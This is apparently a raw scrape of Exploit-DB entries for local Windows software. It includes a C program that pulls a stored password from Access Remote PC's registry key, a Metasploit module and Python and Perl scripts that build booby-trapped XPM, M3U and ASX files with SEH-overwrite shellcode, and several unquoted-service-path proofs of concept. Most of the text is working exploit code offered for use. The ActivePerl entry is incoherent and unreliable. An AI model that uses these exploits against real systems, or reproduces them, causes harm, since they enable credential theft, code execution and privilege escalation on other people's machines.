deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1086
Description: Access Remote PC 4.5.1 - Local Password Disclosure
Type: local
Platform: windows
Date: 2005-07-04
Author: Kozan

Exploit:
/*****************************************************************

Access Remote PC 4.5.1 Local Password Disclosure Exploit by Kozan

Application: Access Remote PC 4.5.1 (and probably prior versions)
Vendor: www.access-remote-pc.com

Vulnerable Description: Access Remote PC 4.5.1 discloses passwords
to local users.

Discovered & Coded by: Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com

*****************************************************************/

#include <windows.h>
#include <stdio.h>

#define BUF 100

int main()
{
       HKEY hKey;
       char RPCNumber[BUF], Password[BUF];
       DWORD dwBuf = BUF;

       if( RegOpenKeyEx( HKEY_CURRENT_USER,
                         "Software\\Access Remote PC\\Client\\Options\\Proxy",
                         0,
                         KEY_QUERY_VALUE,
                         &hKey
                         ) !=ERROR_SUCCESS )
       {
               fprintf( stdout, "Access Remote PC is not installed on you PC!\n" );
               return -1;
       }

       if( RegQueryValueEx( hKey,
                            "RPCNumber",
                            NULL,
                            NULL,
                            (BYTE *)&RPCNumber,
                            &dwBuf
                            ) != ERROR_SUCCESS )
       lstrcpy( RPCNumber,"Not Found!\n" );

       if( RegQueryValueEx( hKey,
                            "Password",
                            NULL,
                            NULL,
                            (BYTE *)&Password,
                            &dwBuf
                            ) != ERROR_SUCCESS )
       lstrcpy( Password,"Not Found!\n" );

       fprintf( stdout, "Access Remote PC 4.5.1 Local Exploit by Kozan\n" );
       fprintf( stdout, "Credits to AtmaCA\n" );
       fprintf( stdout, "www.netmagister.com - www.spyinstructors.com \n" );
       fprintf( stdout, "kozan@netmagister.com\n\n" );
       fprintf( stdout, "RPCNumber\t: %s\n", RPCNumber );
       fprintf( stdout, "Password\t: %s\n", Password );

       return 0;
}

// milw0rm.com [2005-07-04]
Exploit-DB #16632
Description: ACDSee - '.XPM' File Section Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2010-09-25
Author: Metasploit

Exploit:
##
# $Id: acdsee_xpm.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ACDSee XPM File Section Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in ACDSee 9.0.
				When viewing a malicious XPM file with the ACDSee product,
				a remote attacker could overflow a buffer and execute
				arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => 'MC',
			'Version'        => '$Revision: 10477 $',
			'References'     =>
				[
					[ 'CVE', '2007-2193' ],
					[ 'OSVDB', '35236' ],
					[ 'BID', '23620' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
					'DisableNops'   =>  'True',
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'ACDSee 9.0 (Build 1008)', { 'Ret' => 0x10020758 } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Nov 23 2007',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.xpm']),
			], self.class)
	end

	def exploit

		filler = rand_text_alpha_upper(rand(25) + 1)

		# http://www.fileformat.info/format/xpm/
		head =  "/* XPM */\r\n"
		head << "static char * #{filler}[] = {\r\n"
		head << "\""

		buff =  rand_text_alpha_upper(4200) + generate_seh_payload(target.ret)

		foot =  "\",\r\n" + "};\r\n"

		xpm = head + buff + foot

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(xpm)

	end

end
Exploit-DB #49890
Description: Acer Updater Service 1.2.3500.0 - 'UpdaterService.exe'  Unquoted Service Path
Type: local
Platform: windows
Date: 2021-05-20
Author: Emmanuel Lujan

Exploit:
# Exploit Title: Acer Updater Service 1.2.3500.0 - 'UpdaterService.exe'  Unquoted Service Path
# Discovery by: Emmanuel Lujan
# Discovery Date: 2020-11-26
# Vendor Homepage: https://www.acer.com/ac/en/US/content/home
# Tested Version: 1.2.3500.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 7 Home Premium x64 

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

Live Updater Service                                                    Live Upd
ater Service                          C:\Program Files\Acer\Acer Updater\Updater
Service.exe                                               Auto

# Service info:

C:\>sc qc "Live Updater Service"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Live updater Service
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START  
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Acer\Acer Updater\UpdaterService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Live Updater Service
        DEPENDENCIES       :                            
        SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other
 security applications where it could potentially be executed during application startup or reboot. If successful, the local user's 
code would execute with the elevated privileges of the application.
Exploit-DB #14959
Description: Acoustica MP3 Audio Mixer 2.471 - Extended .M3U Directives (SEH)
Type: local
Platform: windows
Date: 2010-09-09
Author: Carlos Mario Penagos Hollmann

Exploit:
# Exploit Title: Acoustica MP3 Audio Mixer 2.471 Extended M3U directives SEH
# Date: September 8 2010
# Author: Carlos Hollmann 
# Software Link: http://www.acoustica.com/downloading.asp?p=1
# Version: 2.471
# Tested on: Windows xp sp3 running on VMware Fusion 3.1 and VirtualBox 3.2.8
# CVE : 


#    ________  _    _________   ____ __ _____   ________
#   / ____/ / | |  / / ____/ | / / //_//  _/ | / / ____/
#  / __/ / /  | | / / __/ /  |/ / ,<   / //  |/ / / __  
# / /___/ /___| |/ / /___/ /|  / /| |_/ // /|  / /_/ /  
#/_____/_____/|___/_____/_/ |_/_/ |_/___/_/ |_/\____/   

# COLOMBIA presents.............
#        PoC from  D3V!L FucK3r http://www.exploit-db.com/exploits/9213/
#
#	Carlos Mario Penagos Hollmann A.K.A Elvenking  shogilord@gmail.com
#	Extended M3U directives

# 	Background from http://hanna.pyxidis.org/tech/m3u.html


 
#	The software doesn't  handle correctly M3U's header and extra info when is being imported on a open sound group.
# 	Trigger: launch app, open an existing sound group i.e(C:\Program Files\Acoustica MP3 Audio Mixer\example.sgp) then import the crash.m3u and....KaaaaBooom!!
#
#     
#     Greetings: My Family, Algeria-->sud0 Australia--> tecr0c,Peru-->fataku,Spain-->Alberto Hervalejo, OFFSEC TEAM and all my friends in Colombia 
#	!!! PAZ PARA MI PAIS PAZ PARA COLOMBIA !!! Freedom!!
	



# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
# I do not want anyone to use this script
# for malicious and/or illegal purposes
# I cannot be held responsible for any illegal use.
 
# Note : you are not allowed to edit/modify this code. 
# If you do, I will not be held responsible for any damages this may cause.

#!/usr/bin/python


magic 	= "crash.m3u"


vuln 	= "\x23\x0D\x0A\x23\x0D\x0A" # Extended M3U, no EXTM3U, no EXTINFO , can change OD for any  value \x1b,\x0a.........


junk 		=	"\x41" * 816
ds_eax 		=	"\x25\x25\x47\x7E" #First Call ds:[eax+8], Writeable memory address to put in EAX
morejunk 	=	"\x42" * 8308
nSEH 		=	"\xEB\x06\x90\x90" #short jmp 6 bytes 
SEH 		=	"\x3F\x28\xD1\x72"#SEH Handler
nops 		=	"\x90" * 10 #landing padd
shellcode	=	"\x8b\xec\x55\x8b\xec\x68\x20\x20\x20\x2f\x68\x63\x61\x6c\x63\x8d\x45\xf8\x50\xb8\xc7\x93\xc2\x77\xff\xd0" # Thanks  sud0, any other shell works too  just remove "\x00\x0a"
payload	=	vuln+junk+ds_eax+morejunk+nSEH+SEH+nops+shellcode

file = open(magic , 'w')
file.write(payload)
file.close()
Exploit-DB #6329
Description: Acoustica MP3 CD Burner 4.51 Build 147 - '.asx' Local Buffer Overflow
Type: local
Platform: windows
Date: 2008-08-29
Author: Koshi

Exploit:
#!/usr/bin/perl
#
# Acoustica MP3 CD Burner (asx file) Local BOF Exploit
# Author: Koshi
#
# Date: 08-29-08 ( 0day )
# Application: Acoustica MP3 CD Burner
# Version: 4.51 Build 147 ( possibly older )
# Site: http://acoustica.com/download.htm
# Tested On: Windows XP SP3 Fully Patched
#
# Based off of n00b's findings http://www.milw0rm.com/exploits/4017
# gr33tz: Rima my baby, str0ke, n00b ( nice find )


# win32_exec -  EXITFUNC=process CMD=calc.exe Size=338 Encoder=Alpha2 http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49".
"\x49\x49\x49\x49\x48\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x66".
"\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x76\x42\x32\x42\x41\x32".
"\x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x49\x79\x4b\x4c\x4d".
"\x38\x43\x74\x67\x70\x63\x30\x67\x70\x4c\x4b\x41\x55\x37\x4c\x6c".
"\x4b\x41\x6c\x73\x35\x53\x48\x64\x41\x4a\x4f\x6c\x4b\x70\x4f\x67".
"\x68\x6c\x4b\x41\x4f\x57\x50\x45\x51\x5a\x4b\x53\x79\x4e\x6b\x74".
"\x74\x6c\x4b\x76\x61\x38\x6e\x64\x71\x59\x50\x6e\x79\x4e\x4c\x6b".
"\x34\x79\x50\x63\x44\x73\x37\x4a\x61\x69\x5a\x44\x4d\x76\x61\x6b".
"\x72\x7a\x4b\x4b\x44\x35\x6b\x50\x54\x77\x54\x65\x54\x71\x65\x4d".
"\x35\x6e\x6b\x61\x4f\x64\x64\x65\x51\x7a\x4b\x63\x56\x4c\x4b\x56".
"\x6c\x50\x4b\x4e\x6b\x43\x6f\x47\x6c\x65\x51\x6a\x4b\x6c\x4b\x55".
"\x4c\x6c\x4b\x64\x41\x68\x6b\x6d\x59\x63\x6c\x45\x74\x75\x54\x59".
"\x53\x36\x51\x4b\x70\x71\x74\x6e\x6b\x67\x30\x30\x30\x6f\x75\x6b".
"\x70\x30\x78\x64\x4c\x4c\x4b\x37\x30\x44\x4c\x6e\x6b\x54\x30\x47".
"\x6c\x6e\x4d\x6e\x6b\x53\x58\x75\x58\x6a\x4b\x76\x69\x4e\x6b\x6b".
"\x30\x6c\x70\x37\x70\x47\x70\x35\x50\x4c\x4b\x50\x68\x57\x4c\x51".
"\x4f\x35\x61\x6c\x36\x63\x50\x52\x76\x4f\x79\x6c\x38\x6b\x33\x6f".
"\x30\x31\x6b\x36\x30\x33\x58\x73\x4e\x69\x48\x6b\x52\x44\x33\x55".
"\x38\x6d\x48\x4b\x4e\x4d\x5a\x74\x4e\x50\x57\x4b\x4f\x48\x67\x71".
"\x73\x62\x41\x32\x4c\x45\x33\x56\x4e\x55\x35\x61\x68\x31\x75\x75".
"\x50\x66";

my $bof = "A"x480;
my $led = "\x90"x35;
my $fill = "\x90"x150;
my $buff = "".
	   "$bof".
	   "\xeb\x06\x90\x90". ### Pointer to next SEH record			   ###
	   "\x65\x82\x19\x01". ### SE handler wmaengine.dll POP POP RET 0x01198265 ###
	   "$led".
	   "$shellcode".
	   "$fill";

my $tuff = "".
	   "<ASX VERSION\=\x22\x33\x2e\x30\x22\x3e\n".
	   "<ENTRY>\n".
	   "<TITLE>Acoustica MP3 CD Burner Local BOF Exploit</TITLE>\n".
	   "<REF HREF=\x22$buff.asf\x22\x2f\x3e\n".
	   "</ENTRY>\n</ASX>\n";

open (MYFILE, '>>Exploit.asx');
binmode(MYFILE);
print MYFILE "$tuff";
close (MYFILE);
print "Exploit file has been created. ( Exploit.asx )\n";

# milw0rm.com [2008-08-29]
Exploit-DB #47615
Description: Acronis True Image OEM 19.0.5128 - 'afcdpsrv' Unquoted Service Path
Type: local
Platform: windows
Date: 2019-11-12
Author: Alejandra Sánchez

Exploit:
# Exploit Title: Acronis True Image OEM 19.0.5128 - 'afcdpsrv' Unquoted Service Path
# Date: 2019-11-11
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.acronis.com
# Software: ftp://supportdownload:supportdownload@ftp.kingston.com/AcronisTrueImageOEM_5128.exe
# Version: 19.0.5128
# Tested on: Windows 10

# Description:
# Acronis True Image OEM 19.0.5128 suffers from an unquoted search path issue impacting the service 'afcdpsrv'. This could potentially allow an 
# authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. A successful attempt would require 
# the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could 
# potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges
# of the application.

# Prerequisites
# Local, Non-privileged Local User with restart capabilities

# Details
C:\>wmic service get name, pathname, displayname, startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """

Acronis Nonstop Backup Service		afcdpsrv	C:\Program Files (x86)\Common Files\Acronis\CDP\afcdpsrv.exe	Auto

C:\>sc qc afcdpsrv
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: afcdpsrv
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files (x86)\Common Files\Acronis\CDP\afcdpsrv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Acronis Nonstop Backup Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #51332
Description: ActFax 10.10 - Unquoted Path Services
Type: local
Platform: windows
Date: 2023-04-08
Author: Birkan ALHAN

Exploit:
# Exploit Title: ActFax 10.10 - Unquoted Path Services
# Date: 22/03/2023
# Exploit Author: Birkan ALHAN (@taftss)
# Vendor Homepage: https://www.actfax.com
# Software Link: https://www.actfax.com/en/download.html
# Version: Version 10.10, Build 0551 (2023-02-01)
# Tested on: Windows 10 21H2 OS Build 19044.2728

#Discover to Unquoted Services Path:

C:\Users\taftss>sc qc ActiveFaxServiceNT
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ActiveFaxServiceNT
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\ActiveFax\Server\ActSrvNT.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : ActiveFax-Server-Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

C:\Users\taftss>systeminfo

Host Name: RedsTaftss
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19044 N/A Build 19044

#Another Discover Methot to Unquoted Services Path:

wmic service get name,displayname,pathname,startmode | findstr /i
"auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

#Exploit:

If the attacker has taken over the system and the taken user has write
privileges to the "C:\Program Files\ActiveFax" folder or "C:\", they
can inject their own malicious "ActSrvNT.exe" file. Then the
ActiveFaxServiceNT Service can be restarted to privilege escalation.

--
*Birkan ALHAN*
Exploit-DB #50273
Description: Active WebCam 11.5 - Unquoted Service Path
Type: local
Platform: windows
Date: 2021-09-13
Author: Salman Asad

Exploit:
# Exploit Title: Active WebCam 11.5 - Unquoted Service Path
# Exploit Author: Salman Asad (@deathflash1411) a.k.a LeoBreaker
# Date: 09.09.2021
# Software Link: https://www.techspot.com/downloads/175-active-webcam.html
# Vendor Homepage: https://www.pysoft.com/
# Version: 11.5
# Tested on: Windows 10

# Note: "Start on Windows Startup" with "Start as Service" must be enabled in Program Options

# Proof of Concept:

C:\Users\death>sc qc ACTIVEWEBCAM
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ACTIVEWEBCAM
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Active WebCam\WebCam.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Active WebCam
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\death>cmd /c wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
Active WebCam           ACTIVEWEBCAM            C:\Program Files\Active WebCam\WebCam.exe               Auto
Exploit-DB #47503
Description: ActiveFax Server 6.92 Build 0316 - 'ActiveFaxServiceNT' Unquoted Service Path
Type: local
Platform: windows
Date: 2019-10-15
Author: cakes

Exploit:
# Exploit Title : ActiveFax Server 6.92 Build 0316 - 'ActiveFaxServiceNT' Unquoted Service Path
# Date : 2019-10-15
# Exploit Author : Cakes
# Vendor Homepage: https://www.actfax.com/
# Software Link :  https://www.actfax.com/download/actfax_setup_x64_ge.exe
# Version : ActiveFax Server 6.92 Build 0316
# Tested on Windows 10
# CVE : N/A 

sc qc ActiveFaxServiceNT
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ActiveFaxServiceNT
        TYPE               : 10  WIN32_OWN_PROCESS 
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\ActiveFax\Server\ActSrvNT.exe
        LOAD_ORDER_GROUP   : 
        TAG                : 0
        DISPLAY_NAME       : ActiveFax-Server-Dienst
        DEPENDENCIES       : 
        SERVICE_START_NAME : .\Administrator
Exploit-DB #13806
Description: ActivePerl 5.8.8.817 - Local Buffer Overflow
Type: local
Platform: windows
Date: 2010-06-09
Author: PoisonCode

Exploit:
# Software Link:http://www.activestate.com
# Version: v5.8.8.817
# Platform:Windows

_____    _____                      _ _         
|  __ \ / ____|                    (_) |        
| |__) | (___   ___  ___ _   _ _ __ _| |_ _   _ 
|  ___/ \___ \ / _ \/ __| | | | '__| | __| | | |
| |     ____) |  __/ (__| |_| | |  | | |_| |_| |
|_|    |_____/ \___|\___|\__,_|_|  |_|\__|\__, |
                                           __/ |
                                          |___/


Exploit
-------------------------------------------
#!/usr/bin/perl
# File Name :Local Buffer Overflow ActivePerl
# Author :PoisonCode
# Exploit Title: Local Buffer Overflow ActivePerl
# Date:09/06/2010
# Author:PoisonCode
# Site  :http://www.activestate.com
# Version: 5.8.8.817
# Tested on: Windows
$file="Exploit Perl Version 5.8.8.817";
print " ============================================\n";
print " =     Local Buffer Overflow ActivePerl      =\n";
print " =        Version: 5.8.8.817                 =\n";
print " =            Autor:PoisonCode               =\n";
print " =    Web :PanamaSecurity.blogspot.com       =\n";
print " =============================================\n";
print "\n";
print " Espere Mientras Trabaja el Exploit\n";
my $fruty="\x87" x 999999999;
my $loops="\x67" x 999999999;
my $shellcode="\x00\x13\xFF\xC4\x00\x10\x0a\xe4\x00\x08\x5b\x5d";
Exploit-DB #49703
Description: ActivIdentity 8.2 - 'ac.sharedstore' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-03-23
Author: SamAlucard

Exploit:
# Exploit Title: ActivIdentity 8.2 - 'ac.sharedstore' Unquoted Service Path
# Exploit Author : SamAlucard
# Exploit Date: 2021-03-21
# Software Version : ActivIdentity 8.2
# Vendor Homepage : https://www.hidglobal.com/
# Tested on OS: Windows 7 Pro

# ActivIdentity was Acquired by HID Global in Octuber 2010

#ActivClient is a desktop authentication software that uses smarts cards and readers
# for enterprise, government and commercial establishments

#Analyze PoC :
==============

C:\Users\DSAdsi>sc qc ac.sharedstore
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: ac.sharedstore
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Common
Files\ActivIdentity\ac.sharedstore.exe
        GRUPO_ORDEN_CARGA  : SmartCardGroup
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : ActivIdentity Shared Store Service
        DEPENDENCIAS       : RPCSS
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #47852
Description: Adaware Web Companion 4.9.2159 - 'WCAssistantService' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-01-06
Author: ZwX

Exploit:
#Exploit Title: Adaware Web Companion 4.9.2159 - 'WCAssistantService' Unquoted Service Path
#Exploit Author : ZwX
#Exploit Date: 2020-01-05
#Vendor Homepage : http://webcompanion.com/
#Link Software : http://webcompanion.com/LP-WC002/index.php?partner=LU150701WEBDIRECT&campaign=www.doc2pdf.com&search=2&homepage=2&bd=2
#Tested on OS: Windows 10


#Analyze PoC :
==============

C:\Users\ZwX>sc qc WCAssistantService
[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: WCAssistantService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : WC Assistant
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #47597
Description: Adaware Web Companion version 4.8.2078.3950 - 'WCAssistantService' Unquoted Service Path
Type: local
Platform: windows
Date: 2019-11-07
Author: Mariela L Martínez Hdez

Exploit:
# Exploit Title: Adaware Web Companion version 4.8.2078.3950 - 'WCAssistantService' Unquoted Service Path
# Date: 2019-11-06
# Exploit Author: Mariela L Martínez Hdez
# Vendor Homepage: https://webcompanion.com/en/
# Software Link: https://webcompanion.com/en/
# Version: Adaware Web Companion version 4.8.2078.3950
# Tested on: Windows 10 Home (64 bits)

# 1. Description
# Adaware Web Companion version 4.8.2078.3950 service 'WCAssistantService' has an unquoted service path.

# 2. PoC

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V """"

WC Assistant        WCAssistantService        C:\Program Files (x86)\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe     Auto

C:\>sc qc WCAssistantService
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: WCAssistantService
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : WC Assistant
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

 

# 3. Exploit
# A successful attempt would require the local user to be able to insert their code in the system 
# root path undetected by the OS or othersecurity applications where it could potentially be executed 
# during application startup or reboot. If successful, the local user's code would execute with 
# the elevated privileges of the application.